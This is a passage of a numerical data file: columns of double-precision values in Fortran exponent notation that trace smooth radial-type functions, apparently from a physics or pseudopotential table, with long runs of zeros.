-0.1262092216352652E+00 -0.1253734114489432E+00 -0.1245407238370528E+00\n -0.1237111616839186E+00 -0.1228847279620496E+00 -0.1220614257238084E+00 -0.1212412580932750E+00 -0.1204242282583109E+00\n -0.1196103394628140E+00 -0.1187995949991672E+00 -0.1179919982008737E+00 -0.1171875524353817E+00 -0.1163862610970906E+00\n -0.1155881276005403E+00 -0.1147931553737807E+00 -0.1140013478519165E+00 -0.1132127084708265E+00 -0.1124272406610577E+00\n -0.1116449478418844E+00 -0.1108658334155396E+00 -0.1100899007616072E+00 -0.1093171532315786E+00 -0.1085475941435698E+00\n -0.1077812267771939E+00 -0.1070180543685908E+00 -0.1062580801056096E+00 -0.1055013071231401E+00 -0.1047477384985937E+00\n -0.1039973772475303E+00 -0.1032502263194267E+00 -0.1025062885935886E+00 -0.1017655668751993E+00 -0.1010280638915064E+00\n -0.1002937822881413E+00 -0.9956272462557243E-01 -0.9883489337568613E-01 -0.9811029091849610E-01 -0.9738891953897792E-01\n -0.9667078142402649E-01 -0.9595587865953395E-01 -0.9524421322758671E-01 -0.9453578700377881E-01 -0.9383060175463867E-01\n -0.9312865913516950E-01 -0.9242996068649882E-01 -0.9173450783363590E-01 -0.9104230188333598E-01 -0.9035334402206746E-01\n -0.8966763531408090E-01 -0.8898517669957863E-01 -0.8830596899298146E-01 -0.8763001288129194E-01 -0.8695730892255034E-01\n -0.8628785754438455E-01 -0.8562165904264758E-01 -0.8495871358014560E-01 -0.8429902118545067E-01 -0.8364258175179907E-01\n -0.8298939503607108E-01 -0.8233946065785329E-01 -0.8169277809857793E-01 -0.8104934670074115E-01 -0.8040916566719632E-01\n -0.7977223406052095E-01 -0.7913855080245588E-01 -0.7850811467341570E-01 -0.7788092431206631E-01 -0.7725697821497177E-01\n -0.7663627473630474E-01 -0.7601881208762261E-01 -0.7540458833770475E-01 -0.7479360141245189E-01 -0.7418584909484364E-01\n -0.7358132902495440E-01 -0.7298003870002605E-01 -0.7238197547459475E-01 -0.7178713656067244E-01 -0.7119551902797848E-01\n -0.7060711980422413E-01 -0.7002193567544460E-01 -0.6943996328638005E-01 -0.6886119914090269E-01 -0.6828563960248966E-01\n -0.6771328089473920E-01 -0.6714411910192997E-01 -0.6657815016962187E-01 -0.6601536990529702E-01 -0.6545577397903950E-01\n -0.6489935792425362E-01 -0.6434611713841799E-01 -0.6379604688387538E-01 -0.6324914228865730E-01 -0.6270539834734140E-01\n -0.6216480992194123E-01 -0.6162737174282699E-01 -0.6109307840967654E-01 -0.6056192439245466E-01 -0.6003390403242120E-01\n -0.5950901154316545E-01 -0.5898724101166728E-01 -0.5846858639938206E-01 -0.5795304154335106E-01 -0.5744060015733360E-01\n -0.5693125583296245E-01 -0.5642500204092020E-01 -0.5592183213213570E-01 -0.5542173933900042E-01 -0.5492471677660394E-01\n -0.5443075744398622E-01 -0.5393985422540789E-01 -0.5345199989163673E-01 -0.5296718710124915E-01 -0.5248540840194668E-01\n -0.5200665623188704E-01 -0.5153092292102712E-01 -0.5105820069247997E-01 -0.5058848166388249E-01 -0.5012175784877501E-01\n -0.4965802115799089E-01 -0.4919726340105649E-01 -0.4873947628759936E-01 -0.4828465142876621E-01 -0.4783278033864765E-01\n -0.4738385443571101E-01 -0.4693786504423999E-01 -0.4649480339577959E-01 -0.4605466063058778E-01 -0.4561742779909139E-01\n -0.4518309586334694E-01 -0.4475165569850558E-01 -0.4432309809428110E-01 -0.4389741375642146E-01 -0.4347459330818220E-01\n -0.4305462729180289E-01 -0.4263750616998431E-01 -0.4222322032736679E-01 -0.4181176007201023E-01 -0.4140311563687321E-01\n -0.4099727718129280E-01 -0.4059423479246362E-01 -0.4019397848691562E-01 -0.3979649821199152E-01 -0.3940178384732158E-01\n -0.3900982520629698E-01 -0.3862061203754088E-01 -0.3823413402637604E-01 -0.3785038079629078E-01 -0.3746934191040018E-01\n -0.3709100687290486E-01 -0.3671536513054492E-01 -0.3634240607405034E-01 -0.3597211903958652E-01 -0.3560449331019496E-01\n -0.3523951811722967E-01 -0.3487718264178740E-01 -0.3451747601613299E-01 -0.3416038732511890E-01 -0.3380590560759827E-01\n -0.3345401985783308E-01 -0.3310471902689426E-01 -0.3275799202405693E-01 -0.3241382771818768E-01 -0.3207221493912545E-01\n -0.3173314247905550E-01 -0.3139659909387535E-01 -0.3106257350455455E-01 -0.3073105439848577E-01 -0.3040203043082867E-01\n -0.3007549022584622E-01 -0.2975142237823227E-01 -0.2942981545443215E-01 -0.2911065799395422E-01 -0.2879393851067332E-01\n -0.2847964549412637E-01 -0.2816776741079883E-01 -0.2785829270540316E-01 -0.2755120980214808E-01 -0.2724650710599997E-01\n -0.2694417300393482E-01 -0.2664419586618161E-01 -0.2634656404745713E-01 -0.2605126588819128E-01 -0.2575828971574435E-01\n -0.2546762384561452E-01 -0.2517925658263681E-01 -0.2489317622217316E-01 -0.2460937105129300E-01 -0.2432782934994559E-01\n -0.2404853939212278E-01 -0.2377148944701278E-01 -0.2349666778014561E-01 -0.2322406265452879E-01 -0.2295366233177469E-01\n -0.2268545507321884E-01 -0.2241942914102913E-01 -0.2215557279930686E-01 -0.2189387431517832E-01 -0.2163432195987824E-01\n -0.2137690400982439E-01 -0.2112160874768343E-01 -0.2086842446342893E-01 -0.2061733945539015E-01 -0.2036834203129333E-01\n -0.2012142050929418E-01 -0.1987656321900255E-01 -0.1963375850249907E-01 -0.1939299471534369E-01 -0.1915426022757691E-01\n -0.1891754342471287E-01 -0.1868283270872514E-01 -0.1845011649902528E-01 -0.1821938323343368E-01 -0.1799062136914412E-01\n -0.1776381938368037E-01 -0.1753896577584702E-01 -0.1731604906667307E-01 -0.1709505780034925E-01 -0.1687598054515926E-01\n -0.1665880589440464E-01 -0.1644352246732421E-01 -0.1623011891000752E-01 -0.1601858389630291E-01 -0.1580890612872058E-01\n -0.1560107433933019E-01 -0.1539507729065434E-01 -0.1519090377655698E-01 -0.1498854262312769E-01 -0.1478798268956219E-01\n -0.1458921286903872E-01 -0.1439222208959125E-01 -0.1419699931497929E-01 -0.1400353354555478E-01 -0.1381181381912668E-01\n -0.1362182921182277E-01 -0.1343356883894992E-01 -0.1324702185585244E-01 -0.1306217745876907E-01 -0.1287902488568931E-01\n -0.1269755341720873E-01 -0.1251775237738444E-01 -0.1233961113459019E-01 -0.1216311910237258E-01 -0.1198826574030775E-01\n -0.1181504055485940E-01 -0.1164343310023902E-01 -0.1147343297926770E-01 -0.1130502984424104E-01 -0.1113821339779698E-01\n -0.1097297339378707E-01 -0.1080929963815219E-01 -0.1064718198980239E-01 -0.1048661036150212E-01 -0.1032757472076096E-01\n -0.1017006509073034E-01 -0.1001407155110739E-01 -0.9859584239045534E-02 -0.9706593350073452E-02 -0.9555089139022180E-02\n -0.9405061920961404E-02 -0.9256502072145643E-02 -0.9109400030970487E-02 -0.8963746298940305E-02 -0.8819531441647413E-02\n -0.8676746089763751E-02 -0.8535380940045894E-02 -0.8395426756353708E-02 -0.8256874370684052E-02 -0.8119714684219669E-02\n -0.7983938668394324E-02 -0.7849537365975339E-02 -0.7716501892163617E-02 -0.7584823435712779E-02 -0.7454493260067761E-02\n -0.7325502704523865E-02 -0.7197843185407555E-02 -0.7071506197279220E-02 -0.6946483314159568E-02 -0.6822766190779977E-02\n -0.6700346563858386E-02 -0.6579216253401177E-02 -0.6459367164032316E-02 -0.6340791286350805E-02 -0.6223480698317331E-02\n -0.6107427566671246E-02 -0.5992624148378852E-02 -0.5879062792113993E-02 -0.5766735939772315E-02 -0.5655636128019704E-02\n -0.5545755989876484E-02 -0.5437088256338068E-02 -0.5329625758033137E-02 -0.5223361426920646E-02 -0.5118288298026128E-02\n -0.5014399511218785E-02 -0.4911688313029938E-02 -0.4810148058513781E-02 -0.4709772213151562E-02 -0.4610554354799431E-02\n -0.4512488175681280E-02 -0.4415567484426667E-02 -0.4319786208154660E-02 -0.4225138394604049E-02 -0.4131618214309937E-02\n -0.4039219962827338E-02 -0.3947938063001268E-02 -0.3857767067283620E-02 -0.3768701660096141E-02 -0.3680736660238960E-02\n -0.3593867023344052E-02 -0.3508087844372004E-02 -0.3423394360151161E-02 -0.3339781951956864E-02 -0.3257246148128755E-02\n -0.3175782626723511E-02 -0.3095387218199560E-02 -0.3016055908130390E-02 -0.2937784839941740E-02 -0.2860570317667780E-02\n -0.2784408808720544E-02 -0.2709296946665686E-02 -0.2635231533997301E-02 -0.2562209544902880E-02 -0.2490228128008725E-02\n -0.2419284609094953E-02 -0.2349376493767305E-02 -0.2280501470072159E-02 -0.2212657411038820E-02 -0.2145842377131630E-02\n -0.2080054618592456E-02 -0.2015292577651429E-02 -0.1951554890581906E-02 -0.1888840389572373E-02 -0.1827148104385303E-02\n -0.1766477263769774E-02 -0.1706827296590603E-02 -0.1648197832633426E-02 -0.1590588703040315E-02 -0.1533999940326040E-02\n -0.1478431777920006E-02 -0.1423884649172962E-02 -0.1370359185761869E-02 -0.1317856215419179E-02 -0.1266376758905965E-02\n -0.1215922026140108E-02 -0.1166493411382406E-02 -0.1118092487374301E-02 -0.1070720998310677E-02 -0.1024380851520841E-02\n -0.9790741077189988E-03 -0.9348029696732801E-03 -0.8915697691294780E-03 -0.8493769518112139E-03 -0.8082270603040555E-03\n -0.7681227146151712E-03 -0.7290665901840791E-03 -0.6910613931034242E-03 -0.6541098322911179E-03 -0.6182145883382149E-03\n -0.5833782787391545E-03 -0.5496034191941447E-03 -0.5168923806574943E-03 -0.4852473417906704E-03 -0.4546702364667819E-03\n -0.4251626959634362E-03 -0.3967259854759182E-03 -0.3693609345830440E-03 -0.3430678613055810E-03 -0.3178464894144324E-03\n -0.2936958586742664E-03 -0.2706142277521279E-03 -0.2485989695820504E-03 -0.2276464590608424E-03 -0.2077519530613687E-03\n -0.1889094628931880E-03 -0.1711116195232660E-03 -0.1543495320979493E-03 -0.1386126405900494E-03 -0.1238885637399120E-03\n -0.1101629438755946E-03 -0.9741929069423303E-04 -0.8563882667209854E-04 -0.7480033745236668E-04 -0.6488003134095919E-04\n -0.5585141292167375E-04 -0.4768517677466276E-04 -0.4034912832859186E-04 -0.3380813996360609E-04 -0.2802415155542768E-04\n -0.2295622562937124E-04 -0.1856066806040990E-04 -0.1479122565136393E-04 -0.1159937173437365E-04 -0.8934689902304919E-05\n -0.6745363761688971E-05 -0.4978776837729040E-05 -0.3582221071745688E-05 -0.2503704396851613E-05 -0.1692837474640400E-05\n -0.1101766951461853E-05 -0.6861082076102529E-06 -0.4058159914808505E-06 -0.2259190936022548E-06 -0.1170390843846189E-06\n -0.5561789832021472E-07 -0.2379962422071496E-07 -0.8951415949547709E-08 -0.2865311296782646E-08 -0.7469799452895257E-09\n -0.1491286872225022E-09 -0.2085937681520927E-10 -0.1788909961745903E-11 -0.7627333239967911E-13 -0.1139998169589491E-14\n -0.3184439268690364E-17 -0.4725628150249130E-21 -0.1979177475376566E-27 -0.3507608647733454E-40 -0.1993203231761145E-78\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.2092827306407022E+00  0.4057670184399992E+00  0.5898979350532600E+00  0.7621100296525628E+00\n  0.9228266176030425E+00  0.1072464703931703E+01  0.1211436937704310E+01  0.1340155639290343E+01  0.1459036896649656E+01\n  0.1568504688229295E+01  0.1668994708900562E+01  0.1760957569185768E+01  0.1844861052822834E+01  0.1921191152910295E+01\n  0.1990451661396074E+01  0.2053162158653891E+01  0.2109854336461265E+01  0.2161066684867483E+01  0.2207337676111377E+01\n  0.2249197680806415E+01  0.2287159946209046E+01  0.2321711046373938E+01  0.2353301272500611E+01  0.2382335462875013E+01\n  0.2409164771274074E+01  0.2434079838629096E+01  0.2457305766029753E+01  0.2478999191665430E+01  0.2499247656714136E+01\n  0.2518071314420061E+01  0.2535426902944383E+01  0.2551213776615215E+01  0.2565281681669818E+01  0.2577439879309795E+01\n  0.2587467166041904E+01  0.2595122320937184E+01  0.2600154520609984E+01  0.2602313301685621E+01  0.2601357711533437E+01\n  0.2597064364112607E+01  0.2589234201573016E+01  0.2577697846846366E+01  0.2562319511937518E+01  0.2542999496459417E+01\n  0.2519675368173886E+01  0.2492321960446077E+01  0.2460950350463687E+01  0.2425605997739516E+01  0.2386366226474959E+01\n  0.2343337229915742E+01  0.2296650762147126E+01  0.2246460665073238E+01  0.2192939357621151E+01  0.2136274392226351E+01\n  0.2076665161774061E+01  0.2014319819428672E+01  0.1949452454898987E+01  0.1882280554098696E+01  0.1813022755076766E+01\n  0.1741896901539862E+01  0.1669118386164077E+01  0.1594898769003028E+01  0.1519444651395879E+01  0.1442956782587889E+01\n  0.1365629374518453E+01  0.1287649599638170E+01  0.1209197246937915E+01  0.1130444512385982E+01  0.1051555901479737E+01\n  0.9726882234608905E+00  0.8939906587816835E+00  0.8156048835327433E+00  0.7376652366657381E+00  0.6602989178988580E+00\n  0.5836262061335374E+00  0.5077606900028175E+00  0.4328095037959179E+00  0.3588735634485049E+00  0.2860477985519050E+00\n  0.2144213774203916E+00  0.1440779231718307E+00  0.7509571953458535E-01  0.7547905706075591E-02 -0.5849733992897237E-01\n -0.1229766270456308E+00 -0.1858311911485266E+00 -0.2470067412388819E+00 -0.3064533166418045E+00 -0.3641251522021267E+00\n -0.4199805510487963E+00 -0.4739817641533713E+00 -0.5260948759595897E+00 -0.5762896954288581E+00 -0.6245396519239588E+00\n -0.6708216954350136E+00 -0.7151162007320108E+00 -0.7574068751038985E+00 -0.7976806694123654E+00 -0.8359276922467996E+00\n -0.8721411270148933E+00 -0.9063171518391930E+00 -0.9384548621556141E+00 -0.9685561959238236E+00 -0.9966258613642036E+00\n -0.1022671267132381E+01 -0.1046702454831763E+01 -0.1068732033749353E+01 -0.1088775117682357E+01 -0.1106849263704848E+01\n -0.1122974412708365E+01 -0.1137172831539331E+01 -0.1149469056553965E+01 -0.1159889838419920E+01 -0.1168464088017379E+01\n -0.1175222823334259E+01 -0.1180199117315087E+01 -0.1183428046714909E+01 -0.1184946642134393E+01 -0.1184793839575426E+01\n -0.1183010434064154E+01 -0.1179639036149073E+01 -0.1174724032402013E+01 -0.1168311551439714E+01 -0.1160449437451607E+01\n -0.1151187233775371E+01 -0.1140576179713346E+01 -0.1128669224538139E+01 -0.1115521063495940E+01 -0.1101188201577848E+01\n -0.1085729051876920E+01 -0.1069204076448596E+01 -0.1051675978683903E+01 -0.1033209957189757E+01 -0.1013874031892834E+01\n -0.9937394533112268E+00 -0.9728812053358954E+00 -0.9513786099635553E+00 -0.9293160385930985E+00 -0.9067837279225540E+00\n -0.8838786881577604E+00 -0.8607056760163188E+00 -0.8373781836996756E+00 -0.8140193666454354E+00 -0.7907627971280821E+00\n -0.7677528886053459E+00 -0.7451447902474176E+00 -0.7231035087242984E+00 -0.7018019856777432E+00 -0.6814178596116595E+00\n -0.6621286890901025E+00 -0.6441055293683786E+00 -0.6275049500959465E+00 -0.6124598554819389E+00 -0.5990697931249144E+00\n -0.5873917551816811E+00 -0.5774326999496706E+00 -0.5691450588850681E+00 -0.5624262731985009E+00 -0.5571229156877342E+00\n -0.5530392710790523E+00 -0.5499495211576281E+00 -0.5476120912055904E+00 -0.5457844127402661E+00 -0.5442364096307576E+00\n -0.5427613802609629E+00 -0.5411835048730576E+00 -0.5393618006932226E+00 -0.5371908460844405E+00 -0.5345989223491749E+00\n -0.5315443627327854E+00 -0.5280108835019925E+00 -0.5240025549054657E+00 -0.5195389048925442E+00 -0.5146504785947575E+00\n -0.5093750286076997E+00 -0.5037543971983343E+00 -0.4978320732717670E+00 -0.4916513597181557E+00 -0.4852540635555492E+00\n -0.4786796148269129E+00 -0.4719645242683226E+00 -0.4651420995758296E+00 -0.4582423523395834E+00 -0.4512920402678477E+00\n -0.4443148009770967E+00 -0.4373313437888304E+00 -0.4303596744600146E+00 -0.4234153346275730E+00 -0.4165116431348047E+00\n -0.4096599305448206E+00 -0.4028697612557244E+00 -0.3961491399203882E+00 -0.3895047005196642E+00 -0.3829418775915900E+00\n -0.3764650599017688E+00 -0.3700777273477470E+00 -0.3637825721974685E+00 -0.3575816059257799E+00 -0.3514762529766660E+00\n -0.3454674327743286E+00 -0.3395556312570763E+00 -0.3337409631312600E+00 -0.3280232259503844E+00 -0.3224019470255501E+00\n -0.3168764240734279E+00 -0.3114457604107825E+00 -0.3061088954126595E+00 -0.3008646308661068E+00 -0.2957116537733492E+00\n -0.2906485560879659E+00 -0.2856738518046101E+00 -0.2807859917668553E+00 -0.2759833765084032E+00 -0.2712643673995287E+00\n -0.2666272963328205E+00 -0.2620704741493222E+00 -0.2575921979776381E+00 -0.2531907576339031E+00 -0.2488644412092475E+00\n -0.2446115399531009E+00 -0.2404303525450218E+00 -0.2363191888342949E+00 -0.2322763731150775E+00 -0.2283002469950982E+00\n -0.2243891719075561E+00 -0.2205415313087940E+00 -0.2167557325982774E+00 -0.2130302087922870E+00 -0.2093634199784029E+00\n -0.2057538545741509E+00 -0.2022000304100722E+00 -0.1987004956548198E+00 -0.1952538295976336E+00 -0.1918586433016487E+00\n -0.1885135801398642E+00 -0.1852173162242242E+00 -0.1819685607370943E+00 -0.1787660561734181E+00 -0.1756085785009749E+00\n -0.1724949372454470E+00 -0.1694239755063514E+00 -0.1663945699093716E+00 -0.1634056305001383E+00 -0.1604561005841044E+00\n -0.1575449565168044E+00 -0.1546712074484661E+00 -0.1518338950266697E+00 -0.1490320930604994E+00 -0.1462649071494050E+00\n -0.1435314742798000E+00 -0.1408309623922306E+00 -0.1381625699217879E+00 -0.1355255253142844E+00 -0.1329190865205691E+00\n -0.1303425404712269E+00 -0.1277952025337876E+00 -0.1252764159544457E+00 -0.1227855512861943E+00 -0.1203220058051661E+00\n -0.1178852029168765E+00 -0.1154745915539778E+00 -0.1130896455670350E+00 -0.1107298631097586E+00 -0.1083947660200428E+00\n -0.1060838991980789E+00 -0.1037968299827469E+00 -0.1015331475274080E+00 -0.9929246217615594E-01 -0.9707440484152201E-01\n -0.9487862638456054E-01 -0.9270479699818115E-01 -0.9055260559454251E-01 -0.8842175919725527E-01 -0.8631198233909854E-01\n -0.8422301646589628E-01 -0.8215461934715129E-01 -0.8010656449399124E-01 -0.7807864058492887E-01 -0.7607065089990145E-01\n -0.7408241276301041E-01 -0.7211375699433867E-01 -0.7016452737119373E-01 -0.6823458009908026E-01 -0.6632378329267392E-01\n -0.6443201646703840E-01 -0.6255917003929234E-01 -0.6070514484090285E-01 -0.5886985164075899E-01 -0.5705321067914502E-01\n -0.5525515121271331E-01 -0.5347561107053028E-01 -0.5171453622124416E-01 -0.4997188035140731E-01 -0.4824760445495881E-01\n -0.4654167643385925E-01 -0.4485407070984989E-01 -0.4318476784728866E-01 -0.4153375418700541E-01 -0.3990102149109915E-01\n -0.3828656659858688E-01 -0.3669039109180319E-01 -0.3511250097343621E-01 -0.3355290635407111E-01 -0.3201162115010978E-01\n -0.3048866279191616E-01 -0.2898405194203557E-01 -0.2749781222332479E-01 -0.2602996995682040E-01 -0.2458055390917123E-01\n -0.2314959504944821E-01 -0.2173712631514516E-01 -0.2034318238717427E-01 -0.1896779947365720E-01 -0.1761101510230969E-01\n -0.1627286792121220E-01 -0.1495339750775495E-01 -0.1365264418554666E-01 -0.1237064884906971E-01 -0.1110745279586314E-01\n -0.9863097566016712E-02 -0.8637624788750709E-02 -0.7431076035862909E-02 -0.6243492681816734E-02 -0.5074915770246633E-02\n -0.3925385886656976E-02 -0.2794943037087542E-02 -0.1683626532521779E-02 -0.5914748788115108E-03  0.4814743281079707E-03\n  0.1535184501935395E-02  0.2569620160881108E-02  0.3584747017927284E-02  0.4580532066695804E-02  0.5556943663146154E-02\n  0.6513951603328201E-02  0.7451527197409622E-02  0.8369643340202203E-02  0.9268274578406274E-02  0.1014739717479459E-01\n  0.1100698916955656E-01  0.1184703043902031E-01  0.1266750275197406E-01  0.1346838982380348E-01  0.1424967736866517E-01\n  0.1501135314991321E-01  0.1575340702899826E-01  0.1647583101305540E-01  0.1717861930140175E-01  0.1786176833115984E-01\n  0.1852527682222726E-01  0.1916914582181181E-01  0.1979337874875210E-01  0.2039798143784515E-01  0.2098296218440263E-01\n  0.2154833178926046E-01  0.2209410360446425E-01  0.2262029357986047E-01  0.2312692031081800E-01  0.2361400508731372E-01\n  0.2408157194461195E-01  0.2452964771577501E-01  0.2495826208624157E-01  0.2536744765071304E-01  0.2575723997259286E-01\n  0.2612767764622501E-01  0.2647880236218226E-01  0.2681065897585869E-01  0.2712329557962571E-01  0.2741676357881194E-01\n  0.2769111777177585E-01  0.2794641643434182E-01  0.2818272140887457E-01  0.2840009819827491E-01  0.2859861606518020E-01\n  0.2877834813666253E-01  0.2893937151471862E-01  0.2908176739285332E-01  0.2920562117906286E-01  0.2931102262552834E-01\n  0.2939806596533533E-01  0.2946685005654058E-01  0.2951747853391014E-01  0.2955005996865805E-01  0.2956470803651828E-01\n  0.2956154169448472E-01  0.2954068536655733E-01  0.2950226913883336E-01  0.2944642896428323E-01  0.2937330687754944E-01\n  0.2928305122010533E-01  0.2917581687610584E-01  0.2905176551925757E-01  0.2891106587102654E-01  0.2875389397049235E-01\n  0.2858043345614350E-01  0.2839087585989199E-01  0.2818542091356523E-01  0.2796427686810767E-01  0.2772766082569555E-01\n  0.2747579908493241E-01  0.2720892749925168E-01  0.2692729184860401E-01  0.2663114822445014E-01  0.2632076342801500E-01\n  0.2599641538168244E-01  0.2565839355332355E-01  0.2530699939325154E-01  0.2494254678338238E-01  0.2456536249805061E-01\n  0.2417578667578270E-01  0.2377417330116236E-01  0.2336089069573457E-01  0.2293632201668000E-01  0.2250086576175244E-01\n  0.2205493627870053E-01  0.2159896427709156E-01  0.2113339734011533E-01  0.2065870043356471E-01  0.2017535640876495E-01\n  0.1968386649574995E-01  0.1918475078245607E-01  0.1867854867511944E-01  0.1816581933441314E-01  0.1764714208114318E-01\n  0.1712311676453094E-01  0.1659436408523645E-01  0.1606152586432164E-01  0.1552526524830300E-01  0.1498626683930028E-01\n  0.1444523673804386E-01  0.1390290248615655E-01  0.1336001289267242E-01  0.1281733772819916E-01  0.1227566726846887E-01\n  0.1173581166726628E-01  0.1119860013688112E-01  0.1066487991231793E-01  0.1013551497353980E-01  0.9611384498049214E-02\n  0.9093381014167966E-02  0.8582408223524964E-02  0.8079378459570645E-02  0.7585209747505587E-02  0.7100822429962137E-02\n  0.6627135322258290E-02  0.6165061361244632E-02  0.5715502712913672E-02  0.5279345306314358E-02  0.4857452765248114E-02\n  0.4450659715107746E-02  0.4059764450523725E-02  0.3685520960736674E-02  0.3328630324427772E-02  0.2989731504787848E-02\n  0.2669391599617415E-02  0.2368095630986141E-02  0.2086235995182996E-02  0.1824101737017772E-02  0.1581867863467087E-02\n  0.1359584970329603E-02  0.1157169521569523E-02  0.9743951931644752E-03  0.8108857691386213E-03  0.6661101530243749E-03\n  0.5393801270545922E-03  0.4298515449594449E-03  0.3365296699754433E-03  0.2582793513780087E-03  0.1938406504102719E-03\n  0.1418503565121643E-03  0.1008695525362177E-03  0.6941697110285677E-04  0.4600732088117413E-04  0.2919305903894978E-04\n  0.1760728677207078E-04  0.1000464291784026E-04  0.5296427334745831E-05  0.2575932371020878E-05  0.1130373835070578E-05\n  0.4371389867137730E-06  0.1443839527546615E-06  0.3903079296907923E-07  0.8136509367815676E-08  0.1200603994451306E-08\n  0.1103313091144371E-09  0.5169033352084336E-11  0.8862989414281884E-13  0.3078210235071099E-15  0.6727297563933329E-19\n  0.6350331239490211E-25  0.1073811882539351E-36  0.6326995303161769E-70  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  